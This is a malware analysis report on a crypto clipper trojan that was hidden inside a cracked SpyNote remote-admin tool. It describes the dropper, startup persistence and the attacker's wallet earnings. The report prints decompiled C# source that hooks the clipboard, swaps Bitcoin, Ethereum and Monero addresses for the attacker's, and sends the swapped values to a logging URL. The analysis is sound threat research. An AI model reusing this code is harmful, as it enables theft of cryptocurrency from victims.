

# Crypto Clipper Malware Analysis

**Threat Hunted Date:** 3/JUL/21

**Analysis Date:** 3/JUL/21

We received a payload, when we attempt to download a cracked version of SPYNOTE application tool used to get remote administrator of android.

## **SPYNOTE:**


Remote admin tool used to control any android device.

**SHA256:** 5BFF05DE3BC48BF7782FF18015BE9330472EA1294C1BF0B18F5164852914C49B


**Source URL:** blackhatrussia[.]com

## **Technical Details:(Static)**


1<sup>st</sup> will go with file properties,




It's a rar sfx file , sure I have ability of both extraction and execution by double click on it. Victim think it's a Spynote tool. But actually its not , because we know the characteristics of sfx.



General details, it shows as SpyNote application software. Will go deep into it.



In comments we can 'setup = payload.exe', more over its somewhat suspicious or malicious anomaly .




After extraction we can see like above. Obviously, it is a malicious indicator. We have two, one was what we need and another was unexpected file(payload.exe).

SHA256: 1430E83A0B78CECD8D7A510D4559BB710CFB56ED303D8EA99B87C20B59F7FCE5 (payload.exe)

VT report: [ClipBanker](#)

## Dynamic details:


When executed the parent file (SpyNote\_6.4) , it extracted SpyNote folder and payload.exe as well at executed location. Once extraction done, payload.exe also executed without user click.



When payload.exe executed, it dropped self-copy at startup location.


Type	Name
Key	HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer
Key	HKLM
Key	HKCU\Software\Classes
Key	HKU
Mutant	\Sessions\1\BaseNamedObjects\DL\$uckJwndNpuC6w
Mutant	\Sessions\1\BaseNamedObjects\SM0:3840:120:WilError_03
Mutant	\Sessions\1\BaseNamedObjects\SM0:3840:304:WilStaging_02
Section	\BaseNamedObjects\Cor_Private_IPCBlock_v4_3840
Section	\...\Cor_SxSPublic_IPCBlock
Section	\Sessions\1\BaseNamedObjects\windows_shell_global_counters
Section	\Windows\Theme2122377736
Section	\Sessions\1\Windows\Theme2108452974
Semaphore	\Sessions\1\BaseNamedObjects\SM0:3840:120:WilError_03_p0h
Semaphore	\Sessions\1\BaseNamedObjects\SM0:3840:304:WilStaging_02_p0
Semaphore	\Sessions\1\BaseNamedObjects\SM0:3840:304:WilStaging_02_p0h

Mutex created.



After restarting the victim, payload start executing from startup folder.

## Debugged details:



In above code we can clearly saw that it adding mutex value , checking startup enable and copying payload to startup folder.

```

// Token: 0x0600003D RID: 61 RVA: 0x00002E28 File Offset: 0x00001028
protected override void WndProc(ref Message m)
{
    bool flag = m.Msg == 797;
    if (flag)
    {
        ClipboardNotification.NotificationForm.currentClipboard = Clipboard.GetText();
        flag = (Operators.CompareString(Addresses.btcE, "yes", false) == 0);
        bool flag2;
        if (flag)
        {
            flag2 = (this.RegexResult(PatternRegex.btc) && !ClipboardNotification.NotificationForm.currentClipboard.Contains(Addresses.btc));
            if (flag2)
            {
                string text = PatternRegex.btc.Replace(ClipboardNotification.NotificationForm.currentClipboard, Addresses.btc);
                Clipboard.SetText(text);
            }
        }
        flag2 = (Operators.CompareString(Addresses.ethereumE, "yes", false) == 0);
        if (flag2)
        {
            flag = (this.RegexResult(PatternRegex.ethereum) && !ClipboardNotification.NotificationForm.currentClipboard.Contains(Addresses.ethereum));
            if (flag)
            {
                string text2 = PatternRegex.ethereum.Replace(ClipboardNotification.NotificationForm.currentClipboard, Addresses.ethereum);
                Clipboard.SetText(text2);
            }
        }
        flag2 = (Operators.CompareString(Addresses.xmrE, "yes", false) == 0);
        if (flag2)
        {
            flag = (this.RegexResult(PatternRegex.xmr) && !ClipboardNotification.NotificationForm.currentClipboard.Contains(Addresses.xmr));
            if (flag)
            {
                string text3 = PatternRegex.xmr.Replace(ClipboardNotification.NotificationForm.currentClipboard, Addresses.xmr);
                Clipboard.SetText(text3);
            }
        }
    }
    base.WndProc(ref m);
}

```

Here we can see in first SS that malware is using Regex method to match crypto currency address , Once user copy anything a malware read that data and if that data match with Regex pattern so it will replace that address with attacker's address.

```

[StandardModule]
internal sealed class Addresses
{
    // Token: 0x0400000B RID: 11
    public static readonly string ethereum = "0x9399Caa2df99fb4F17b1D914d842711e8Ff3e4F4";

    // Token: 0x0400000C RID: 12
    public static readonly string xmr = "%XMR%";

    // Token: 0x0400000D RID: 13
    public static string Mutexx = "DLSuckJwndNpuC6w";

    // Token: 0x0400000E RID: 14
    public static string startup = "yes";

    // Token: 0x0400000F RID: 15
    public static readonly string btc = "3JMKkMnoYW1r1vWMrkKmjHmb1tPfZMajcm";

    // Token: 0x04000010 RID: 16
    public static string url = "http://www.example.com/log.php";

    // Token: 0x04000011 RID: 17
    public static Mutex mtx;

    // Token: 0x04000012 RID: 18
    public static string ethereumE = "yes";

    // Token: 0x04000013 RID: 19
    public static string xmrE = "%noXMR%";

    // Token: 0x04000014 RID: 20
    public static string btcE = "yes";
}

```

Here we can see specified BTC/XMR/ETH addresses !

```

5 namespace Crypto.Crypto
6 {
7     // Token: 0x0200000C RID: 12
8     [StandardModule]
9     internal sealed class PatternRegex
10    {
11        // Token: 0x04000015 RID: 21
12        public static readonly Regex btc = new Regex(@"\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,35}\b");
13
14        // Token: 0x04000016 RID: 22
15        public static readonly Regex ethereum = new Regex(@"\b0x[a-fA-F0-9]{40}\b");
16
17        // Token: 0x04000017 RID: 23
18        public static readonly Regex xmr = new Regex(@"\b4([0-9]|[A-B])(.){93}\b");
19    }
20 }
21

```

It is using regex pattern to match the bitcoin address. Because bit coin address may generate randomly.

```

12 internal sealed class Clipboard
13 {
14     // Token: 0x06000030 RID: 48 RVA: 0x00002AB8 File Offset: 0x00000CB8
15     public static string GetText()
16     {
17         string ReturnValue = string.Empty;
18         Thread thread = new Thread(delegate()
19         {
20             ReturnValue = Clipboard.GetText();
21         });
22         thread.SetApartmentState(ApartmentState.STA);
23         thread.Start();
24         thread.Join();
25         return ReturnValue;
26     }
27
28     // Token: 0x06000031 RID: 49 RVA: 0x00002B0C File Offset: 0x00000D0C
29     public static void SetText(string txt)
30     {
31         Thread thread = new Thread(delegate()
32         {
33             try
34             {
35                 string requestUriString = string.Concat(new string[]
36                 {
37                     Addresses.url,
38                     "?Target Address : ",
39                     Clipboard.GetText(),
40                     " | Changed With : ",
41                     txt
42                 });
43                 Clipboard.SetText(txt);
44                 WebRequest webRequest = WebRequest.Create(requestUriString);
45                 WebResponse response = webRequest.GetResponse();
46                 Stream responseStream = response.GetResponseStream();
47                 StreamReader streamReader = new StreamReader(responseStream);
48                 string text = streamReader.ReadToEnd();
49                 streamReader.Close();
50                 response.Close();
51             }
52             catch (Exception ex)
53             {
54             }
55         });
56         thread.SetApartmentState(ApartmentState.STA);
57         thread.Start();
58         thread.Join();
59     }
60 }
61
62

```

It is capturing clipboard data from victim, save it as .txt and send to C2 or compromised url.

```

// Token: 0x04000010 RID: 16
public static string url = "http://www.example.com/log.php";
// Token: 0x04000011 RID: 17

```

Here we can see pattern to verify that user copied any one of them crypto wallet or not.

```
// Token: 0x0200000C RID: 12
[StandardModule]
internal sealed class PatternRegex
{
    // Token: 0x04000015 RID: 21
    public static readonly Regex btc = new Regex(@"\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,35}\b");

    // Token: 0x04000016 RID: 22
    public static readonly Regex ethereum = new Regex(@"\b0x[a-fA-F0-9]{40}\b");

    // Token: 0x04000017 RID: 23
    public static readonly Regex xmr = new Regex(@"\b4([0-9]|[A-B])(.){93}\b");
}
```


Trojan will do:

1. Capture clipboard data.
2. Key logs.
3. Startup folder added.
4. Changing file attribute to hide itself.

## Bitcoin Transaction Analysis:

Malware Stolen \$34,768.35 USD worth of bitcoin.

This address has transacted 191 times on the Bitcoin blockchain. It has received a total of 0.98055748 BTC (\$34,768.35) and has sent a total of 0.95497024 BTC (\$33,861.09). The current value of this address is 0.02558724 BTC (\$907.27).



Address	3JMcKMnoYW1r1vWMrkKmJHmb1tPfZMajcm
Format	BASE58 (P2SH)
Transactions	191
Total Received	0.98055748 BTC
Total Sent	0.95497024 BTC

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OK

You can see lot of deposit in attacker's address.



Transactions ⓘ

Hash	6afa0c1cc69b7169f877055bac0f9abfd0d7adac601e13d5f18b023f...	2021-06-26 07:18
	<div>3PDvHJrCGTJAnEdJFK8547Jxo6AUfPTc2Z0.01648606 BTC</div> <div>3PJi9xhzbArLTmjwkGqWk3JpGddJwg9B6W0.01110825 BTC</div> <div>3LM5vpKy5xQw4LpDBHBU5JcRVQdbtu5JeA0.02484292 BTC</div> <div>3EdK9bMVjRHDAAeeorkKtwCXuUVQo7wEy0.02057966 BTC</div> <div>39P3Wrogf8r5ybsxAyNDaybMB2snZ7dtxG0.01500000 BTC</div> <div>35axqoZAC3RhAKDsU64TWmHRwg3KFXMz7G0.01309198 BTC</div> <div>3DLGLV2YExY58S2nWqVjuvvhPkeWzdo4zA0.02707056 BTC</div> <div>3EBiTpgSfg7DUefdGb4r76NJKx2VJcuQUW0.01242792 BTC</div> <div>3Ny2sQn586hAqdHde7MspGdFsvicV16s9u0.01391426 BTC</div> <div>3JmKkMnoYW1r1vWMrkKmJHmb1tPfZMajcm0.01300000 BTC</div>	<div>36zJzowvNfHxAnHTNdfDsTwcZFtFEsu4xg3.51185466 BTC</div>
Fee	0.00056086 BTC (0.853 sat/B - 0.503 sat/WU - 65752 bytes) (2.012 sat/vByte - 27870 virtual bytes)	<div>-0.01300000 BTC</div> <div>2 Confirmations</div>

# ETH Transaction Analysis:

Here we can see a small amount of transaction in ETH wallet.

This address has transacted 6 times on the Ethereum blockchain. It has received a total of 0.21489596 ETH (\$498.22) and has sent a total of 0.000000000000000000 ETH (\$0.00). The current value of this address is 0.21489596 ETH (\$498.22).

	Hash	0x9399caa2df99fb4f17b1d914d842711ebff3e4f4
	Nonce	0
	Number of Transactions	6
	Final Balance	\$498.22
	Total Sent	\$0.00
	Total Received	\$498.22

In our analysis base I can tell that most of infected people are from india, because I were analyzed website traffic in which I found lot of indian traffic.

**Malware Analysis Done By:** Vishnu Prasanth Mohanraj, Threat Analysis Engineer At NortonLifeLock(Avira)

**Threat Hunted & Transaction Analysis Done By:** Rindbloch Abdulsamad, Independent malware analyst & threat researcher.